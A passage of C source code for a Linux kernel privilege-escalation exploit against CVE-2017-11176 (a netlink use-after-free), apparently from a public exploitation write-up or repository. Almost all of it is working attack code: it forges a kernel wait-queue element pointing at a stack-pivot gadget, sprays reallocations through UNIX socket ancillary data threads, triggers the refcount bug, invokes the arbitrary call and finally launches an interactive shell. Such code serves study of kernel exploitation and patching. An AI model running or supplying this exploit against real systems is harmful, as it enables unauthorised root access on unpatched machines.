SOL_SOCKET=1 to "skip" cmsg 948 | first->cmsg_type = 1; // <---- ARBITRARY VALUE 949 | 950 | // used by reallocation checker 951 | *pid = MAGIC_NL_PID; 952 | *groups = MAGIC_NL_GROUPS; 953 | 954 | // the first element in nlk's wait queue is our userland element (task_list field!) 955 | BUILD_BUG_ON(offsetof(struct wait_queue_head, task_list) != WQ_HEAD_TASK_LIST_OFFSET); 956 | nlk_wait->slock = 0; 957 | nlk_wait->task_list.next = (struct list_head*)&g_uland_wq_elt->task_list; 958 | nlk_wait->task_list.prev = (struct list_head*)&g_uland_wq_elt->task_list; 959 | 960 | // initialise the "fake" second element (because of list_for_each_entry_safe()) 961 | g_fake_next_elt.next = (struct list_head*)&g_fake_next_elt; // point to itself 962 | g_fake_next_elt.prev = (struct list_head*)&g_fake_next_elt; // point to itself 963 | 964 | // initialise the userland wait queue element 965 | BUILD_BUG_ON(offsetof(struct wait_queue, func) != WQ_ELMT_FUNC_OFFSET); 966 | BUILD_BUG_ON(offsetof(struct wait_queue, task_list) != WQ_ELMT_TASK_LIST_OFFSET); 967 | g_uland_wq_elt->flags = WQ_FLAG_EXCLUSIVE; // set to exit after the first arbitrary call 968 | g_uland_wq_elt->private = NULL; // unused 969 | g_uland_wq_elt->func = (wait_queue_func_t) XCHG_EAX_ESP_ADDR; // <----- arbitrary call! 970 | g_uland_wq_elt->task_list.next = (struct list_head*)&g_fake_next_elt; 971 | g_uland_wq_elt->task_list.prev = (struct list_head*)&g_fake_next_elt; 972 | printf("[+] g_uland_wq_elt.func = %p\n", g_uland_wq_elt->func); 973 | 974 | return 0; 975 | } 976 | 977 | // ---------------------------------------------------------------------------- 978 | 979 | static bool check_realloc_succeed(int sock_fd, int magic_pid, unsigned long magic_groups) 980 | { 981 | struct sockaddr_nl addr; 982 | size_t addr_len = sizeof(addr); 983 | 984 | memset(&addr, 0, sizeof(addr)); 985 | // this will invoke "netlink_getname()" (uncontrolled read) 986 | if (_getsockname(sock_fd, &addr, &addr_len)) 987 | { 988 | perror("[-] getsockname"); 989 | goto fail; 990 | } 991 | printf("[ ] addr_len = %lu\n", addr_len); 992 | printf("[ ] addr.nl_pid = %d\n", addr.nl_pid); 993 | printf("[ ] magic_pid = %d\n", magic_pid); 994 | 995 | if (addr.nl_pid != magic_pid) 996 | { 997 | printf("[-] magic PID does not match!\n"); 998 | goto fail; 999 | } 1000 | 1001 | if (addr.nl_groups != magic_groups) 1002 | { 1003 | printf("[-] groups pointer does not match!\n"); 1004 | goto fail; 1005 | } 1006 | 1007 | return true; 1008 | 1009 | fail: 1010 | printf("[-] failed to check realloc success status!\n"); 1011 | return false; 1012 | } 1013 | 1014 | 1015 | // ---------------------------------------------------------------------------- 1016 | 1017 | static int init_unix_sockets(struct realloc_thread_arg * rta) 1018 | { 1019 | struct timeval tv; 1020 | static int sock_counter = 0; 1021 | 1022 | if (((rta->recv_fd = _socket(AF_UNIX, SOCK_DGRAM, 0)) < 0) || 1023 | ((rta->send_fd = _socket(AF_UNIX, SOCK_DGRAM, 0)) < 0)) 1024 | { 1025 | perror("[-] socket"); 1026 | goto fail; 1027 | } 1028 | 1029 | // bind an "abstract" socket (first byte is NULL) 1030 | memset(&rta->addr, 0, sizeof(rta->addr)); 1031 | rta->addr.sun_family = AF_UNIX; 1032 | sprintf(rta->addr.sun_path + 1, "sock_%lx_%d", _gettid(), ++sock_counter); 1033 | if (_bind(rta->recv_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr))) 1034 | { 1035 | perror("[-] bind"); 1036 | goto fail; 1037 | } 1038 | 1039 | if (_connect(rta->send_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr))) 1040 | { 1041 | perror("[-] connect"); 1042 | goto fail; 1043 | } 1044 | 1045 | // set the timeout value to MAX_SCHEDULE_TIMEOUT 1046 | memset(&tv, 0, sizeof(tv)); 1047 | if (_setsockopt(rta->recv_fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv))) 1048 | { 1049 | perror("[-] setsockopt"); 1050 | goto fail; 1051 | } 1052 | 1053 | return 0; 1054 | 1055 | fail: 1056 | // TODO: release everything 1057 | printf("[-] failed to initialize UNIX sockets!\n"); 1058 | return -1; 1059 | } 1060 | 1061 | // ---------------------------------------------------------------------------- 1062 | 1063 | static void* realloc_thread(void *arg) 1064 | { 1065 | struct realloc_thread_arg *rta = (struct realloc_thread_arg*) arg; 1066 | struct msghdr mhdr; 1067 | char buf[200]; 1068 | 1069 | // initialize msghdr 1070 | struct iovec iov = { 1071 | .iov_base = buf, 1072 | .iov_len = sizeof(buf), 1073 | }; 1074 | memset(&mhdr, 0, sizeof(mhdr)); 1075 | mhdr.msg_iov = &iov; 1076 | mhdr.msg_iovlen = 1; 1077 | 1078 | // the thread should inherit main thread cpumask, better be sure and redo-it! 1079 | if (migrate_to_cpu0()) 1080 | goto fail; 1081 | 1082 | // make it block 1083 | while (_sendmsg(rta->send_fd, &mhdr, MSG_DONTWAIT) > 0) 1084 | ; 1085 | if (errno != EAGAIN) 1086 | { 1087 | perror("[-] sendmsg"); 1088 | goto fail; 1089 | } 1090 | 1091 | // use the arbitrary data now 1092 | iov.iov_len = 16; // don't need to allocate lots of memory now 1093 | mhdr.msg_control = (void*)g_realloc_data; // use the ancillary data buffer 1094 | mhdr.msg_controllen = sizeof(g_realloc_data); 1095 | 1096 | g_nb_realloc_thread_ready++; 1097 | 1098 | while (!g_realloc_now) // spinlock until the big GO! 1099 | ; 1100 | 1101 | // the next call should block while "reallocating" 1102 | if (_sendmsg(rta->send_fd, &mhdr, 0) < 0) 1103 | { 1104 | perror("[-] sendmsg"); 1105 | goto fail; 1106 | } 1107 | 1108 | return NULL; 1109 | 1110 | fail: 1111 | printf("[-] REALLOC THREAD FAILURE!!!\n"); 1112 | return NULL; 1113 | } 1114 | 1115 | // ---------------------------------------------------------------------------- 1116 | 1117 | static int init_reallocation(struct realloc_thread_arg *rta, size_t nb_reallocs) 1118 | { 1119 | int thread = 0; 1120 | int ret = -1; 1121 | 1122 | if (!can_use_realloc_gadget()) 1123 | { 1124 | printf("[-] can't use the 'ancillary data buffer' reallocation gadget!\n"); 1125 | goto fail; 1126 | } 1127 | printf("[+] can use the 'ancillary data buffer' reallocation gadget!\n"); 1128 | 1129 | if (init_realloc_data()) 1130 | { 1131 | printf("[-] failed to initialize reallocation data!\n"); 1132 | goto fail; 1133 | } 1134 | printf("[+] reallocation data initialized!\n"); 1135 | 1136 | printf("[ ] initializing reallocation threads, please wait...\n"); 1137 | for (thread = 0; thread < nb_reallocs; ++thread) 1138 | { 1139 | if (init_unix_sockets(&rta[thread])) 1140 | { 1141 | printf("[-] failed to init UNIX sockets!\n"); 1142 | goto fail; 1143 | } 1144 | 1145 | if ((ret = pthread_create(&rta[thread].tid, NULL, realloc_thread, &rta[thread])) != 0) 1146 | { 1147 | perror("[-] pthread_create"); 1148 | goto fail; 1149 | } 1150 | } 1151 | 1152 | // wait until all threads have been created 1153 | while (g_nb_realloc_thread_ready < nb_reallocs) 1154 | _sched_yield(); // don't run me, run the reallocator threads! 1155 | 1156 | printf("[+] %lu reallocation threads ready!\n", nb_reallocs); 1157 | 1158 | return 0; 1159 | 1160 | fail: 1161 | printf("[-] failed to initialize reallocation\n"); 1162 | return -1; 1163 | } 1164 | 1165 | // ---------------------------------------------------------------------------- 1166 | 1167 | // keep this inlined, we can't loose any time (critical path) 1168 | static inline __attribute__((always_inline)) void realloc_NOW(void) 1169 | { 1170 | g_realloc_now = 1; 1171 | _sched_yield(); // don't run me, run the reallocator threads! 1172 | sleep(5); 1173 | } 1174 | 1175 | // ============================================================================ 1176 | // ---------------------------------------------------------------------------- 1177 | // ============================================================================ 1178 | 1179 | int main(void) 1180 | { 1181 | int sock_fd2 = -1; 1182 | int val; 1183 | struct realloc_thread_arg rta[NB_REALLOC_THREADS]; 1184 | 1185 | printf("[ ] -={ CVE-2017-11176 Exploit }=-\n"); 1186 | 1187 | if (migrate_to_cpu0()) 1188 | { 1189 | printf("[-] failed to migrate to CPU#0\n"); 1190 | goto fail; 1191 | } 1192 | printf("[+] successfully migrated to CPU#0\n"); 1193 | 1194 | if (allocate_uland_structs()) 1195 | { 1196 | printf("[-] failed to allocate userland structures!\n"); 1197 | goto fail; 1198 | } 1199 | 1200 | build_rop_chain((uint64_t*)g_fake_stack); 1201 | printf("[+] ROP-chain ready\n"); 1202 | 1203 | memset(rta, 0, sizeof(rta)); 1204 | if (init_reallocation(rta, NB_REALLOC_THREADS)) 1205 | { 1206 | printf("[-] failed to initialize reallocation!\n"); 1207 | goto fail; 1208 | } 1209 | printf("[+] reallocation ready!\n"); 1210 | 1211 | if (find_netlink_candidates(&g_target, &g_guard)) 1212 | { 1213 | printf("[-] failed to find netlink candidates\n"); 1214 | goto fail; 1215 | } 1216 | printf("[+] netlink candidates ready:\n"); 1217 | printf("[+] target.pid = %d\n", g_target.pid); 1218 | printf("[+] guard.pid = %d\n", g_guard.pid); 1219 | 1220 | if (fill_receive_buffer(&g_target, &g_guard)) 1221 | goto fail; 1222 | 1223 | if (((unblock_fd = _dup(g_target.sock_fd)) < 0) || 1224 | ((sock_fd2 = _dup(g_target.sock_fd)) < 0)) 1225 | { 1226 | perror("[-] dup"); 1227 | goto fail; 1228 | } 1229 | printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2); 1230 | 1231 | // trigger the bug twice AND immediatly realloc! 1232 | if (decrease_sock_refcounter(g_target.sock_fd, unblock_fd) || 1233 | decrease_sock_refcounter(sock_fd2, unblock_fd)) 1234 | { 1235 | goto fail; 1236 | } 1237 | realloc_NOW(); 1238 | 1239 | // close it before invoking the arbitrary call 1240 | close(g_guard.sock_fd); 1241 | printf("[+] guard socket closed\n"); 1242 | 1243 | if (!check_realloc_succeed(unblock_fd, MAGIC_NL_PID, MAGIC_NL_GROUPS)) 1244 | { 1245 | printf("[-] reallocation failed!\n"); 1246 | // TODO: retry the exploit 1247 | goto fail; 1248 | } 1249 | printf("[+] reallocation succeed! Have fun :-)\n"); 1250 | 1251 | 1252 | // trigger the arbitrary call primitive 1253 | printf("[ ] invoking arbitrary call primitive...\n"); 1254 | val = 3535; // need to be different than zero 1255 | if (_setsockopt(unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val))) 1256 | { 1257 | perror("[-] setsockopt"); 1258 | goto fail; 1259 | } 1260 | printf("[+] arbitrary call succeed!\n"); 1261 | 1262 | printf("[+] exploit complete!\n"); 1263 | 1264 | printf("[ ] popping shell now!\n"); 1265 | char* shell = "/bin/bash"; 1266 | char* args[] = {shell, "-i", NULL}; 1267 | execve(shell, args, NULL); 1268 | 1269 | return 0; 1270 | 1271 | fail: 1272 | printf("[-] exploit failed!\n"); 1273 | PRESS_KEY(); 1274 | return -1; 1275 | } 1276 | 1277 | // ============================================================================ 1278 | // ---------------------------------------------------------------------------- 1279 | // ============================================================================ 1280 | --------------------------------------------------------------------------------